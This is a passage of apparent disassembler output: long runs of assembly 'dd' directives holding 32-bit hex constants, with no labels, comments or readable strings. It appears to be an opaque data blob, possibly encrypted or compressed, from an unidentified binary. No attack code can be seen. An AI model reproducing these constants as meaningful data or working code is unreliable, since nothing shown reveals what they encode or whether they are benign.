0E9A9456Bh, 0B0A0D53Eh, 0B29F52F4h dd 0BC2858C0h, 0EE7F7A74h, 0FAE91841h, 0F3BB4EF7h, 1A477F07h dd 0EEC5E3D1h, 6A9E5EEAh, 951AB0DBh, 9E80BA5Ah, 54EA133Ah dd 0AC10295Bh, 535A2E08h, 2D45B052h, 0D97916DEh, 5A10BB69h dd 88B0407h, 99FB5A58h, 26CE264Bh, 5FE40554h, 0BC78BBFh dd 80713F15h, 8FDC96Bh, 4B6B8F0h, 0EC007C1h, 59AD83C4h dd 2F629201h, 70254B74h, 48CC5CD5h, 19020235h, 42E96D30h dd 0BD00FA58h, 5E842CF8h, 2563C6BFh, 3956A58Fh, 790B002Fh dd 9037EC77h, 0F4C009E6h, 6F7E9453h, 0C8E2C6A9h, 0B300FD89h dd 543BA8E9h, 770B3258h, 2BBD749h, 0FB3E1FBEh, 0DC344106h dd 0F02AE8EDh, 113F9BDh, 4EA7AE4h, 0E8463FEh, 423BC95Fh dd 0F48A465Dh, 0B80C4BC6h, 7EE2E740h, 9751D1C4h, 5CF1826Ch dd 4000667Fh, 9E006874h, 5D59115Bh, 1229CD81h, 0BD4D5125h dd 803D0445h, 8FB1A2AEh, 0E080320h, 1467A02h, 80422DAh dd 0DA1EA858h, 77B329B6h, 6816319Eh, 92CC43A3h, 6025410Bh dd 9F4EEFDFh, 9687888h, 515F277Dh, 425FE9C2h, 1A7D88Dh dd 7E222B16h, 641841E9h, 0D04FC9D6h, 4D9F9EA8h, 230A73A5h dd 281E64C4h, 60FCCDBEh, 0C6BD26E4h, 5F22F251h, 344ED6BAh dd 58C2394Eh, 428DFE5Fh, 0C7480D0Ah, 4D7FB7F7h, 40A1615Fh dd 9DF282F8h, 396B245Bh, 3A28EF51h, 33992D5Bh, 108C5993h dd 3116B191h, 84A4A3D0h, 10B8887h, 4FF4DE72h, 13ECAB4Fh dd 0D9D0E2E7h, 0F4271ED9h, 0C0DB4A82h, 363323BFh, 7A9074Ch dd 209E410Ah, 6EEE760h, 183E606Ch, 4D405A80h, 0E001CFF8h dd 0E9371E30h, 376292E5h, 9DFC4425h, 0B7531A82h, 6F687503h dd 66B988D8h, 0ED42E665h, 5FDC51E9h, 0A74AAF18h, 9F7AE8B7h dd 1FC94C5Fh, 204EF703h, 0C2B079D8h, 45255044h, 50BEF82Eh dd 4A5F08EAh, 6EAACD58h, 68F9CE90h, 0F73EF788h, 77A51601h dd 2AC504ECh, 98F8E2CEh, 13ABB098h, 1630BBB1h, 66A70407h dd 5031AA59h, 0F7E5752h, 12A02B65h, 48B56855h, 0A34EE7C4h dd 0ACD302FCh, 0BB53015Fh, 0E1412CCh, 0D054933Ah, 67E91109h dd 9FC4449Ch, 594BE39Ch, 54AC33D8h, 9B9CAE5h, 58564B14h dd 7B1604F0h, 16BA6027h, 4B56FC63h, 0FF5B611Eh, 0BF0C0503h dd 0FAF0EEF8h, 48453A17h, 27BED411h, 1788286h, 0DC5247D6h dd 84474A58h, 0EB233868h, 50504D98h, 90D48D57h, 3B385C14h dd 3E307A10h, 10F0FF5Bh, 909ADB92h, 4B58BEBCh, 9E189FC4h dd 0E22F79F0h, 589FE425h, 0FA056D07h, 0FB234B1Ah, 1C92611Fh dd 5CEE32AFh, 202C44D5h, 0A780717Dh, 5031198Dh, 9BC39C3Dh dd 0D4C71981h, 6EFA8318h, 5C4A550Bh, 39C22775h, 956096D7h dd 0FB227CC5h, 0C7685609h, 0C464657h, 0FE66FE0h, 401653B6h dd 0BB806244h, 4A5DD070h, 27C3B892h, 31178225h, 0E22E8B04h dd 6226FC7Ch, 97D0DE9h, 6F437CDFh, 0AFD81765h, 91CB648h dd 83CC5A3Dh, 263FCE3Ah, 0EB104906h, 3A3A24Eh, 8210FEE3h dd 3D0C057Eh, 0EC372545h, 7778A9EFh, 0FDA6C812h, 0F8F945A5h dd 0F6256851h, 5879DC79h, 0F4107E9h, 2E560020h, 82926DD3h dd 301105ADh, 91FEA57h, 0CCD10208h, 0F168008Dh, 4E7A5D58h dd 14A8ED34h, 5BEE78C0h, 6A260563h, 606B4268h, 0A6349DC3h dd 637A2169h, 0B9F8EBC1h, 0F26EB5C7h, 8157DFEDh, 6C8A4FC0h dd 0F0037924h, 8211B1C2h, 663A6859h, 0AC7FC0A3h, 61D8575Ah dd 502EFC55h, 0BD6C52F7h, 61FCAFC6h, 0D5A649B7h, 0B553F03Ah dd 0B03072h, 49519340h, 91148EFEh, 0A497FDB6h, 5FFE29FFh dd 0F114C095h, 0A9CE88E4h, 13433217h, 6004511Ah, 2CDD63BFh dd 2833F03Bh, 0EB2E44F5h, 1C3F9201h, 0E6968DAh, 0ED4BF467h dd 6FD91665h, 0FA1076B6h, 0CC680909h, 67BE540Fh, 0B32F254h dd 933D2565h, 0DCB38564h, 0F261A85Ah, 0B8B08459h, 0B3AC2094h dd 655FE9A2h, 16C190F1h, 5FE310CBh, 7F1FFF18h, 0CCBF031Ah dd 0D4420F22h, 85CB5E21h, 6D8769A9h, 2FF319AFh, 709A90A4h dd 746677C1h, 17D45829h, 918B9124h, 0CFB1DE0Bh, 8E92A0B5h dd 0A6022312h, 0E98202C1h, 0B6C5EE53h, 90544E8Ah, 0CC6AD86Fh dd 6D7C255Ch, 0FF82E466h, 64700C0Bh, 0D12C21E2h, 742D1B5Ah dd 952A425Ah, 0C1728B5Ch, 0AC50EFB1h, 0E632E480h, 31DF76CCh dd 2706C3ECh, 28DC6A53h, 0F3914EFFh, 0E1F70248h, 0C57E5868h dd 6EAA08D8h, 3C37BD03h, 66A38F2Bh, 893F5992h, 58B422Fh dd 8FD3107Dh, 15AAAC6Eh, 2E70D768h, 403DE912h, 7E19BEDAh dd 1522AE2h, 78C912DCh, 0AAE514E8h, 93784189h, 0D4074558h dd 0EE08A20Bh, 9B14064Eh, 0BF03CDC5h, 0F959524h, 680903F6h dd 0B8FF02DFh, 4EDBB23h, 813B1356h, 0C8C281F3h, 85032049h dd 8D249616h, 49A745C9h, 2D6035D4h, 0AA15DD7h, 5F00145h dd 26662807h, 802B8B6Ch, 95CD81DDh, 2D4C4116h, 0BC3D7E31h dd 0E9291CEBh, 80809D56h, 3A57585Bh, 0CACC5F53h, 850A0070h dd 0F0B8506Ah, 2C038824h, 27FC0540h, 93E99031h, 8B7F9ED9h dd 640930BFh, 0E8B1EC42h, 0A212AF29h, 57F2E276h, 0D366F190h dd 0AAE551F7h, 585E036Dh, 0A87E1DF4h, 5AF1F7EDh, 8972E750h dd 0E2B3135Ch, 0EC682174h, 0E9AFD232h, 76344D12h, 19C63A69h dd 739709AAh, 8AD03523h, 6BA17577h, 0E836602Fh, 0BA835350h dd 60323813h, 83450EFFh dd 2B02ED7Fh, 0CCF1E71Ch, 0CCFE2280h, 3AD7F480h, 6ADCD4F6h dd 95459250h, 0C369A30Eh, 0A70517B2h, 8B8CEA20h, 0A3EA5A45h dd 0B65B79AEh, 0BAAF56h, 6AD0E56Fh, 8B01F80h, 77040C06h dd 71F0952h, 0D422A6F5h, 0BCED6575h, 0D6069F3Bh, 59641E3Dh dd 520101CCh, 0F280E4B2h, 0CF20EC9Fh, 0BC01995h, 1E2A79ACh dd 174F3A1Ch, 0DE5FACA6h, 1EDC3AC9h, 0D4BA1EA6h, 0E15D737h dd 9C0427Ah, 0E9D0317Bh, 3CE4DB4Eh, 0E2654EB7h, 3829CB6Fh dd 9F8CE9A8h, 0B9D7F489h, 661C02B8h, 8C9361A0h, 0E82980h dd 0AF654A2Dh, 3D420516h, 5D763779h, 4F1DA102h, 5BD82922h dd 2E0909F5h, 7C8BE4B0h, 0FED78780h, 54C3C42Bh, 0BFD8BB5Dh dd 4584AC5h, 35BF57EDh, 0EA2F86F8h, 0FF6D99F1h, 458DC03Eh dd 0E9127DCCh, 0C7A2D7C4h, 721C58h, 702BE068h, 0AC39E960h dd 2CBCAA91h, 1AA83C2Ah, 5CD5620h, 0BB3FC3BFh, 2DD0AF60h dd 13AE2302h, 0A001E976h, 0F6F8468Ah, 0AF90280Bh, 9982D592h dd 0A0DE8C8Ah, 21BE56EEh, 6BCF1Ah, 1E96BA52h, 0D30F9736h dd 3FC1E190h, 0D3DABEB7h, 74EBA8D4h, 2A96856h, 17C54E80h dd 9B14257h, 838300A0h, 0B874626Eh, 2C0B946Eh, 69F0037Bh dd 0CA001251h, 4923572h, 565EF229h, 2828B45Fh, 666E4461h dd 6CE3132h, 490687F1h, 9D0A87B6h, 574CA0D8h, 6D09022Bh dd 7D1B15E9h, 5145A11Ah, 6840571Eh, 63F66693h, 8DAB4AE9h dd 0E4B338DEh, 0E26046BFh, 80FE2CD0h, 27F4F638h, 0FC2693F0h dd 71000112h, 3E6C8536h, 2109981Ch, 0DBF70376h, 24FA1Dh dd 5A9BE13Ch, 0E9EA0105h, 5B240463h, 0C9BE6D87h, 218A98C1h dd 0F5719FDEh, 377CE660h, 4725B4Ch, 8107FA2Dh, 4213F90h dd 0B2324ED9h, 5927DD56h, 2915D53h, 0DE4C5127h, 23374FB7h dd 0F2FC2799h, 9CDFE9F0h, 0B16804FBh, 3E9DAF7Eh, 5406B229h dd 8D1049E9h, 0D4F8B525h, 4BC29F06h, 69C8F2D5h, 603D1A22h dd 214BFD6Eh, 57D63030h, 0C1700CEFh, 5D8604E3h, 3F795F02h dd 664A3968h, 1344F021h, 0EA26105Ch, 0C3760100h, 1D3150EBh dd 0F1015BD8h, 50F3E999h, 505A6691h, 40B8B424h, 10437F0Bh dd 36D5B66Bh, 0BA22F408h, 0C580B309h, 25A6DADFh, 0B161306Ah dd 0C6166FA5h, 68C628BBh, 5114472Fh, 0EF8160E7h, 0D5003DA3h dd 55F72948h, 2E7BBABDh, 32B1659h, 26713815h, 3569C607h dd 0E3C03628h, 0F2F35E76h, 83EEDD1h, 240205A9h, 62096B11h dd 2BF25C3Ah, 35E9419Fh, 3323B6Ah, 9D0C78C6h, 2ED9A11Bh dd 0A4CA2AC9h, 0C2F5E35Eh, 0CA6977E9h, 0FCC0D505h, 0F340486Fh dd 4DC65ED4h, 0D51202E8h, 412DA775h, 926C76E7h, 5687334Bh dd 10CAEFE2h, 0E4B6577h, 32D03CD3h, 0F066793Bh, 94B3F23Ah dd 27E52D66h, 0D71BA709h, 8A14296h, 2B80012h, 30D91719h dd 0FF411C93h, 0FBEF6712h, 0FAC42066h, 44DC82E3h, 98EBD845h dd 9F268CAh, 0EF0970B3h, 0BCF0D1C1h, 0F7407DBEh, 7E2DA58h dd 0B0462EA3h, 5B8A65D3h, 0E402B92Ch, 6B33CDBFh, 0A5DA4410h dd 5F0E1DBCh, 3D384653h, 34769A0Ah, 2344E703h, 0EAE942FAh dd 586555E2h, 12D33EB0h, 0C8285C4Dh, 0DB01E655h, 0AC017250h dd 8841F453h, 0B1896B3h, 0FF612CDBh, 8E49E0F9h, 44206B64h dd 0CC0CC299h, 0C23180Bh, 0C86B136Fh, 3025F865h, 87426505h dd 0C58351FAh, 0F30AA6h, 0FEDC1427h, 0E299D501h, 8EB1A908h dd 23241AF1h, 0C688C078h, 38251327h, 26AF5449h, 93B218C0h dd 6CDF531h, 7AF80DEEh, 894695D6h, 638275E0h, 0A348C83Ch dd 35583F25h, 270CDFF8h, 11E0D9C0h, 5A13D814h, 210741E6h dd 5BE36C11h, 6AE167E1h, 5B169528h, 8064E95Eh, 1ECB092Fh dd 0C1D10CF7h, 41B105E1h, 0F1409390h, 0C9092C5Ah, 5A71058h dd 8087B151h, 0CE0868C1h, 0BD9AB5F4h, 253FE853h, 0FBB6E248h dd 92BC25E6h, 16CDE916h, 0DD043B49h, 0BD01D796h, 5E233161h dd 0D07C8CE9h, 4AE3EC4Fh, 0C9B537B8h, 0C4A62A3Dh, 68EC0E5Fh dd 33E16A00h, 0CB02815Bh, 1FBD7B40h, 7CC5434Bh, 5087139Eh dd 6F210888h, 7572B907h, 0F9025785h, 7C270C9Fh, 10A4BDDAh dd 8E40AFDDh, 0FA3CB951h, 0A41A40Bh, 7F093E24h, 3E0A1355h dd 68B19E14h, 2F59CBC4h, 0B4138C8Bh, 5EE48EC5h, 0DE9DAB31h dd 0F10427BBh, 0F231D340h, 0A7A897ABh, 2F084CB1h, 680D67CAh dd 0A45D6122h, 87C93D9Ch, 2E58DEB2h, 0BB53088Bh, 0D4AB776Bh dd 305C8BB1h, 4B866950h, 5DD2C855h, 0F1543127h, 20F82844h dd 1BA1E48Fh, 0DA2EC1h, 0D34BF84Eh, 54ED4653h, 10628Fh dd 8007E2C0h, 985143F2h, 9E6BB7C2h, 8C0FB3h, 0A2BEC02Dh dd 8A1A92A7h, 153E6ECCh, 8E732668h, 25BE4213h, 2FD1B52Bh dd 5292FD82h, 0A0320A2h, 0D14E74C4h, 689220BFh, 4BC43CA9h dd 0BA16F34Fh, 0E8C10430h, 3BE0BD0Eh, 0C2863BF1h, 14F75027h dd 57424974h, 0F8E09E6h, 0EE9BA0ACh, 0E34C0D0Bh, 93E7EDCh dd 0A00E7F28h, 680F6F68h, 4A381C63h, 1350E338h, 0D4753CE9h dd 0E86CC243h, 520C3DCCh, 0CB640768h, 0A27D5A1Bh, 0E0D14F9Eh dd 402D6733h, 42D218CAh, 59046590h, 814700EAh, 703DDCEh dd 0F9C24D60h, 1ADFB7DBh, 0E5A9C9E9h, 203EA859h, 65544AE2h dd 0EDF4804Dh, 3E15E65Ah, 2F83DE9h, 0F610B353h, 4DE1FFDBh dd 61CB7F30h, 38E38000h, 12E9C3FEh, 17C85BDh, 407688A2h dd 0B504BEEEh, 29561419h, 40324488h, 0CAED5D88h, 365B0A69h dd 368827Eh, 0D014D52Fh, 0EBD5F99Fh, 0E9898859h, 0B81AC153h dd 0E8ECB56Eh, 599F0B56h, 0B8F939E5h, 0A8BA0484h, 19F141B9h dd 58009A3Ah, 5A03D530h, 0E828A004h, 0CD82A42Ch, 72945FB7h dd 4CA88920h, 8D120351h, 25EB277h, 9FFAD205h, 0C28B7FF7h dd 0CC175756h, 5B81C752h, 1040867h, 86EDD5D3h, 0F47021E0h dd 808007EEh, 881D12F4h, 86DCB2E7h, 5D086866h, 0CF104028h dd 44048EDh, 0ED81E97h, 6162E5C0h, 0E949165Ch, 0B2BB57EDh dd 77CCDFCBh, 0EEF35101h, 9C3AE744h, 0BF250FEAh, 206A14C8h dd 50979E5Eh, 9DC220E9h, 591267B4h, 212901AEh, 0D8C12CD1h dd 92F616EDh, 0CD01641Fh, 7B08C594h, 22CE2977h, 7555AF8Bh dd 2C87C57Bh, 0E9A2DCBAh, 77051E4Eh, 9B078868h, 0A862591Fh dd 981CC7Dh, 2D0265B2h, 0CAB03085h, 18523ED6h, 0F519EB28h dd 2A603817h, 1F9290E0h, 0CC13D55h, 1471093Fh, 82803C00h dd 66E91E12h, 51057C80h, 29AD2725h, 7207A74h, 7BCA8C81h dd 0DF0A7924h, 5F1DE391h, 0FFDFF789h, 20767000h, 42B64DE9h dd 1630011Fh, 7DD655BCh, 63F52F74h, 2C182E48h, 0E8481970h dd 0DE0A69E3h, 40F812EEh, 5D0F757h, 0C30C1D2Ah, 24E2253Ch dd 0A88F9F5Fh, 9C03E0A0h, 0A09D894Bh, 1DFC13AFh, 2EA6BCB4h dd 0F86547AFh, 5BF5BB01h, 2D206B75h, 0DB5E1F01h, 7FF38269h dd 7E0B703h, 2CC97EC5h, 2677915Fh, 0AD5B9778h, 5A68B713h dd 278A2F63h, 2D62C476h, 0F1CEFDE7h, 7AFFC290h, 5C08CE20h dd 1EEC2723h, 141FD80Fh, 0E9820C44h, 40FCA9DAh, 4FB1062h dd 7B13E2BAh, 0EA985A9Dh, 167B99A4h, 0C17508CAh, 972C330Ch dd 7CC08282h, 5881D19Ah, 62AA0E8Ch, 128661Bh, 0C61EF3CEh dd 14344DC7h, 0BD1104FEh, 40BB00ECh, 971D673Dh, 30054D9h dd 6F42BF57h, 153054Dh, 0EF295FFBh, 0B5EECC80h, 6274064Ah dd 0B91F64E9h, 0EAE9ED4Bh, 0E220CD48h, 6350029Fh, 780FFE62h dd 28800380h, 0EED3B5E3h dd 150BD626h, 8560B217h, 0A8B37368h, 1989AE2Dh, 0DE492DF1h dd 0D5E97852h, 5D6E2AB7h, 210B1126h, 0E7015613h, 41CAC983h dd 0DA7CB9C2h, 4C38125Ah, 7E882F4Eh, 0BF0113C5h, 72CC7F82h dd 1DB6E7F0h, 9227E83Bh, 762DF2EFh, 466DFD0Ch, 1F8D2438h dd 116BD6Ch, 0F31F55C7h, 1E0F251h, 0B0746Bh, 0BF8050E7h dd 952C2088h, 16147E47h, 11D70639h, 135A5826h, 3B5F7Fh dd 0F3EBD2Ah, 6295019Ah, 5748D5CFh, 8A7214EAh, 0AE18E5ECh dd 0F5ACA42Ch, 0CF0427F0h, 0F0E83C0h, 26FDE48h, 0E31D35C2h dd 90E05537h, 0EDC548E9h, 0A29C555Fh, 0A3E59D5Dh, 13BBF288h dd 0A740F85Bh, 2ABC1AF4h, 12955624h, 0A075BA15h, 0CF4423EBh dd 29DDBFA4h, 0B58E1EBh, 82EF0F9Bh, 14DB0998h, 9BB1B14Bh dd 0B5F4A120h, 0E2B9B390h, 1286521Fh, 2C840F53h, 5E11CABEh dd 0E9C40FE2h, 88659045h, 34135AD0h, 760FC00Eh, 0FC04212Ch dd 8FD93F24h, 0BD0D0570h, 0BE0835C5h, 501BB90h, 9DDA6D4h dd 0C9987BCAh, 63DF8A46h, 871499E1h, 0E993303Fh, 0D7961EAFh dd 42B25444h, 6804E390h, 377D73Ch, 8F0A6003h, 7CD1EA60h dd 73B7C65h, 246D62CAh, 32E2C346h, 0E9238CB8h, 0EC68E52Fh dd 6B1DE511h, 0F16264CFh, 0BAAB3EE9h, 7E2809D5h, 0C3303B8Ch dd 5004F78Ch, 0BE9480Bh, 6555D477h, 0D115D006h, 10D8C1E1h dd 1E5D21C8h, 53425F48h, 68C7C2A8h, 0D12D4BF5h, 94298A30h dd 61F9E097h, 518A560h, 0FACE067Dh, 4E550935h, 1184716Fh dd 1B5813B9h, 24505968h, 74FCDh, 0B032AFABh, 0AC95ACE9h dd 27E05CF1h, 77C5B54Bh, 160E2D94h, 6B56C9E9h, 4313BBB8h dd 6A2CD94h, 0BE0110B0h, 3B8E784Ah, 0EF1F289h, 255CF9D2h dd 335C5CE4h, 13AFD34Dh, 306AF04h, 0F1675FA9h, 0C7E6C4DCh dd 0F25EF33Fh, 0D109C14Bh, 0FB5593CCh, 0DA038909h, 4AF3722Ah dd 0D999CDDDh, 20A24934h, 58197123h, 6D3A64AEh, 0F5290D84h dd 0F113BE5Eh, 586DC6D8h, 0FDF404AFh, 32F7948Ah, 43CBB1BCh dd 21018C8Dh, 0E5505AD7h, 3A73C1Bh, 0C7807DB7h, 0E0EF9911h dd 20C9B0F9h, 0CFF058E5h, 2724B28Dh, 0CC699F9Dh, 0E8C6C9D8h dd 4897F8C2h, 0AF18774h, 4476856h, 2D5E964Bh, 0BDD7602Bh dd 0F6025582h, 45436470h, 294BCBE2h, 0C4B93F8h, 4A3564Ch dd 747263B5h, 0E773C51Fh, 448E5350h, 4A7CFEAh, 0C1BED1B1h dd 0CC92C1D1h, 62BD4BF1h, 0A622D517h, 647D6AC9h, 7A1E25F3h dd 0EB626756h, 0CE6802EDh, 0B860B154h, 4A8358ACh, 4B4AA802h dd 500B6F2h, 0EC2FB2E3h, 1196B0E9h, 6CA82912h, 7F03CB9Eh dd 6A202A4Eh, 0E95E7B0h, 891F864Dh, 0E41493F1h, 0B15051DEh dd 5E5CC1BCh, 7069460h, 36B81B85h, 0F3693BD7h, 0C77B2DF4h dd 31005792h, 73E461C3h, 6DB360E9h, 56D1F281h, 0C0B536E2h dd 98C30106h, 92D045E5h, 74C04DBFh, 9F21585Fh, 36A8D8F9h dd 7172B496h, 3040699Ah, 58819280h, 0FCFFCD7Fh, 16246853h dd 45880E38h, 4CF63A6Dh, 0FDD70D5Dh, 0BF4B7C35h, 3B71A1D0h dd 920241Bh, 0CD923E98h, 55F13078h, 0EF096852h, 70775407h dd 209E12AEh, 0E13C0026h, 61440304h, 4FD0494Fh, 0CA93727h dd 0B36CE907h, 6489A687h, 4107D77Fh, 7B14A468h, 0A09409C8h dd 3E52C255h, 0C34B0F02h, 1E4453D4h, 4E09B8F8h, 25E0D05h dd 0A76E383Fh, 66F7BA56h, 17441546h, 4531E97h, 0FED90AABh dd 71C9C741h, 33700FDBh, 0B8F94A06h, 5F4E3219h, 481ED95Ch dd 2951ADD4h, 8EFF5864h, 0D4E91748h, 517B30BAh, 5312E668h dd 16B8565Ah, 10F657F2h, 75FB9EE2h, 43564E12h, 9CA8C2C5h dd 3FD1AEB4h, 3A2C36E9h, 0E0DF95Eh, 8561CAC2h, 0BC72167h dd 0DB2D60CEh, 0D3DC7EFFh, 6A43ED20h, 0D413C45Ch, 4FD36A88h dd 0C2E8ACBCh, 72143A68h, 0B6520240h, 7B39E961h, 4F45E657h dd 17E946D3h, 2FA0B80Fh, 0D582EC57h, 41E1DBB3h, 4ADDA408h dd 3A6B6806h, 60F0341Bh, 5C792233h, 28D565DDh, 2685DECEh dd 94742DBDh, 5B048113h, 0C80A63Fh, 3F55B3F6h, 0A4CF4053h dd 0C5B751ADh, 0A16861C1h, 0AEE37B66h, 53C4B902h, 7C611EF6h dd 16FF058Ch, 895D95FBh, 6B722197h, 443C7688h, 430BC668h dd 75744662h, 2EE7785h, 52535A08h, 7A2FC859h, 12EE068Bh dd 0C6A3E41h, 0F902010Eh, 4EDE8D19h, 830C0806h, 0E98D1214h dd 0B95D805Fh, 5626318h, 54BC7498h, 0AE850C0h, 0A0C82A9Fh dd 0EAD0E30Bh, 0D082F558h, 63DCD98Eh, 0CC205571h, 20A4BD88h dd 408BFAFAh, 0EB4A061h, 0F2E5706Bh, 2BC8054Eh, 68FD355Eh dd 3C98EB82h, 7498600Fh, 0C2FEE2D0h, 55C60E5h, 4C896440h dd 0B01014E3h, 88B90F5Eh, 7C2A4978h, 709308EDh, 6939DBA5h dd 0E962605Ch, 0E6A355D1h, 721381F2h, 0E7A23F5Fh, 0DDAF0712h dd 0ACD86AAFh, 2F7C41CBh, 2BC52167h, 92BE9BD0h, 0B0984E51h dd 2802624Ah, 0E7C159D5h, 4766E006h, 0E840F944h, 546537F6h dd 385EEC5h, 0F7384E22h, 66746DEh, 11917D22h, 40F20979h dd 81B2A2B6h, 0EE239C5Dh, 282815CEh, 0C38D8801h, 39EAD103h dd 1B27C9D0h, 788DA26Fh, 0A84B6BE1h, 0A01774F7h, 3C8B2DEBh dd 68C121D6h, 0DA6B67BCh, 2EE91292h, 17581B4Eh, 0C0D164FFh dd 3D6FBA5Fh, 8D9C0B4Fh, 3E50028Ah, 5EEC122h, 38F6E740h dd 533B1F01h, 3D1562BBh, 4207FECAh, 5355B523h, 0CE582FECh dd 3CD97B17h, 0A0EBAAB0h, 5DC06808h, 2881556Eh, 8034AB6Dh dd 7413B526h, 0D0C3290Bh, 58250846h, 0EBC061F4h, 5A3E665Dh dd 106CF997h, 3876FA92h, 0EE24F6B6h, 0F2630863h, 39A27C27h dd 5E2E09CBh, 99DA16FFh, 5A068D8Eh, 0D6033228h, 28E9152Ch dd 9517B7C7h, 789F16FAh, 0F1291369h, 0D712F05Eh, 12AD0FBDh dd 0E3D28BD8h, 5762B415h, 42B7439Ah, 591EC139h, 45E88C3Fh dd 0B16F6A41h, 6F40E13Bh, 1EE63743h, 40789A7Fh, 254D3E50h dd 1078455Ch, 2CEBA988h, 356B1AF6h, 12FE194h, 1AA5E67Eh dd 0F8937F86h, 0B6F30B8Dh, 0EE803D96h, 0FC7234B9h, 0F10E6E7Ch dd 576073C0h, 42104D01h, 43F2F8Dh, 0BB0B6F01h, 57F9EC40h dd 3F78C368h, 0DB1B18D9h, 4FD2605Ch, 337A1A5Dh, 0F20C4AC7h dd 0A587CC1Fh, 0F5116083h, 0F74AB2F1h, 27A10A5Bh, 0EAB0002Bh dd 0ED779882h, 0CD0DFBB0h, 0C28C161h, 277D10F0h, 7E880117h dd 90C3408h, 0F6C55A14h, 10EB512Fh, 0DDB07EB1h, 96941F73h dd 10A30F8Bh, 9558E5C2h, 3C3444F1h, 0DDF5C9BDh, 54748954h dd 19D6085Dh, 0C9FC5B17h, 40D64D10h, 591E7DBCh, 1AC92FA7h dd 2C3C75A2h, 5C41C8BFh, 4B7F9ED5h, 9A9DDECEh, 0EDE25F1Eh dd 0A96EE557h, 0ED6F9897h, 47EEE188h, 0F79D8160h, 7A2D4521h dd 0BD550111h, 60305EFh, 74C1D631h, 0DE73ADCBh, 86628B02h dd 20EB83A6h, 0EB89EE2Eh, 0E1210B6Fh, 5CFCB99Bh, 94A183Fh dd 47EDBCCDh, 42765E02h, 74709268h, 0A1626EC4h, 50702949h dd 0D3A5E8D2h, 2089836Ah, 8539BFC5h, 4E2DA42h, 0EEE7C4ADh dd 1BC2B797h, 3002466Eh, 0C643CA7Ch, 376E79E1h, 0D508C168h dd 3B20912Ah, 80240467h, 10F5012Eh, 21BC4E08h, 5122CB1h dd 0CDA66300h, 2489CE86h, 0B715AD1h, 0D1A03DE9h, 850FDB09h dd 0A8FCD524h, 713B0E89h, 50209153h, 4F24E9C2h, 0F08BF8E8h dd 0B5A8D72Dh, 80F75041h, 0A14240BCh, 6651005Fh, 5B747AB9h dd 13C9810Fh, 42E7FE7Eh, 44243ACBh, 6CA52028h, 0C9615695h dd 1F1E697Bh, 0FA5320EDh dd 0F60D820Fh, 5FD86402h, 0F51DA21Ch, 6BE644FEh, 0A0E607Ch dd 25E9F49Ch, 617176A8h, 427EAFBCh, 27303414h, 460032E9h dd 685A5852h, 1B709C31h, 0B004E769h, 135BB74Ah, 5E05DBDCh dd 0A57CED02h, 0B41E88AFh, 5E551762h, 5D82096Dh, 0B1F4FAD9h dd 0F2D680C9h, 2E62CD73h, 817DF8E9h, 764860BFh, 88BB704Bh dd 0D6CC0D07h, 0E4A46B05h, 2DF84081h, 60AB0744h, 0B43EE9E1h dd 0BAC2B8B7h, 9425D86h, 602EA19h, 76070205h, 77038D66h dd 10086CFFh, 0F15B126Eh, 679C2E5Dh, 318A400Fh, 60CDC9EDh dd 7B13912Bh, 6B86180Ch, 0B57D0B18h, 28224948h, 0E5D6642Eh dd 2B326C2h, 1F41525Bh, 18A37BCCh, 0FD62182Dh, 7EC9205Ch dd 60DF52AAh, 0E86C2DDAh, 69D8BF70h, 73B0E54Ah, 7E5300BCh dd 6CA051Fh, 0D998423Bh, 2548FF0Fh, 54288074h, 3B7532Dh dd 0C509E67Ah, 0A4A468E9h, 0F0FB0B9h, 0F4C15738h, 0A60B12AFh dd 2388429h, 2DCADD10h, 0EF355C59h, 0BA5C93C5h, 957C73CEh dd 0E970405Ch, 0A04AB703h, 0FFBA7450h, 0AC19CF81h, 10CBFD6Fh dd 0BDE8B466h, 2E24CF9Bh, 0E04B8D91h, 7D14220Eh, 0C06B7A7Dh dd 758FC29Bh, 5F5A54B8h, 0DE02D4DDh, 0C72B4CD2h, 29F4685Ah dd 0E2CD0822h, 0A6035805h, 90DFF6F0h, 5AEF80D7h, 900BD51h dd 542803F7h, 93090C9Ah, 5A4ED0DFh, 24AEABF0h, 28EF9945h dd 0A094951Dh, 0A4D95C6Eh, 41BA5517h, 0D926EF86h, 7F8B60DFh dd 0D41A78E3h, 0A7ED19BCh, 76DCE5FFh, 0CC79A0C5h, 0DA3613E0h dd 462CAA29h, 25A0205h, 0E8010BB5h, 809D642h, 0AEB09CDDh dd 96222091h, 0B1F2B700h, 5BF92882h, 0CC883950h, 5958E20Eh dd 8073B4E3h, 0D5E942C8h, 6B50E55Bh, 491B7AF8h, 0C80C0A43h dd 95F4DD91h, 70BEE9F8h, 0E5823839h, 0D9004A32h, 957AEEA9h dd 0A7FA4B31h, 91097DECh, 8063D2Ch, 6613BF27h, 0A050B6B2h dd 0B116300Eh, 79EEEDD2h, 0D3FC6D5Ah, 88E94D05h, 0FF4BD756h dd 5116641h, 58A2608Ch, 826D7197h, 0DB25C3Eh, 75B0CAFDh dd 68051540h, 54C73E1h, 59C96A91h, 5FB44EAEh, 7E6A3CA9h dd 0EF6C0F0Ch, 6D52E201h, 0B00CE9F8h, 2A386800h, 0B2B8109Dh dd 49E0B091h, 94C47AC6h, 0CF8113A8h, 2903E147h, 0F0C74C10h dd 12905530h, 0D895563Fh, 4F081DA7h, 456D0381h, 15795BA2h dd 1CD6CF1Fh, 20725C39h, 3C3E0E0h, 28CA2C58h, 0AEA404D8h dd 0A20061Eh, 4393D0F7h, 684B03AEh, 12F972E7h, 0C38E7B64h dd 91FE5C12h, 0AD53A83Dh, 0CB65D1BCh, 0F627EC71h, 358E6670h dd 16BA84C4h, 0A32A41AAh, 8B142821h, 0D573BB0Ch, 5FFE3C02h dd 557AB356h, 66E9A3A1h, 84548CA4h, 8A5C64C8h, 44E9072h dd 555E4F09h, 53429380h, 790915BBh, 0F0094459h, 2F27B66h dd 0E9DCBAD6h, 72446606h, 3EB443EEh, 0AD38DC27h, 68845F47h dd 0DEF80194h, 5A31ECB4h, 41756CA6h, 5F8976FAh, 0EC92E4B9h dd 0C802D3D6h, 4101324Ch, 7412DF4h, 22382BE9h, 10B3F64Bh dd 9770763Bh, 0FD1D0770h, 0C14E5866h, 54F10F8Eh, 0D6A84FC7h dd 0F6ECC038h, 44F80706h, 3017DB94h, 632121EBh, 96492B94h dd 894D6034h, 63F79CC8h, 0E8AAE0D1h, 8E0231F4h, 0DF36A53Eh dd 2DF5EF81h, 7AA435C4h, 0DED6CA1Ch, 81BA0D65h, 22CCE3EAh dd 40C30EE3h, 29096555h, 89810FBh, 5E600C60h, 729B4F22h dd 0DF105FE9h, 7BAB929h, 0FE5DE82Ch, 0A02D5C2Fh, 24880BB4h 